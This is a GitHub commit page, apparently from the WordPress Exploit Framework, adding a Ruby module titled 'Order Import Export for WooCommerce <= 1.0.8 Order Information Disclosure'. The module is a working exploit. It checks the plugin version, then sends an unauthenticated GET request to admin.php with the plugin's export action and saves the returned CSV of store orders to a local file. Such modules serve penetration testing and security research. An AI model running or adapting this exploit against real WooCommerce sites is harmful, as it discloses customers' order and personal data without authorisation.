Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit db9792e

Browse files
committed
Add WooCommerce order disclosure export module
1 parent 6812820 commit db9792e

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
class Wpxf::Auxiliary::WoocommerceOrderImportExportOrderDisclosure < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Order Import Export for WooCommerce <= 1.0.8 Order Information Disclosure',
9+
desc: 'Version <= 1.0.8 of the import export plugin for WooCommerce allows unauthenticated '\
10+
'users to download a CSV disclosing information about orders placed in the system.',
11+
author: [
12+
'David Peltier', # Disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8624'],
17+
['EDB', '40391']
18+
],
19+
date: 'Sep 19 2016'
20+
)
21+
22+
register_options([
23+
StringOption.new(
24+
name: 'export_path',
25+
desc: 'The file to save the export to',
26+
required: true
27+
)
28+
])
29+
end
30+
31+
def check
32+
check_plugin_version_from_readme('order-import-export-for-woocommerce', '1.0.9')
33+
end
34+
35+
def export_path
36+
normalized_option_value('export_path')
37+
end
38+
39+
def export_url
40+
normalize_uri(wordpress_url_admin, 'admin.php')
41+
end
42+
43+
def run
44+
return false unless super
45+
46+
emit_info 'Downloading order export CSV...'
47+
res = download_file(
48+
url: export_url,
49+
method: :get,
50+
params: {
51+
'page' => 'wf_woocommerce_order_im_ex',
52+
'action' => 'export'
53+
},
54+
local_filename: export_path
55+
)
56+
57+
if res.code != 200
58+
emit_error "Server responded with code #{res.code}"
59+
return false
60+
end
61+
62+
emit_success "Saved export to #{export_path}"
63+
true
64+
end
65+
end

0 commit comments

Comments
 (0)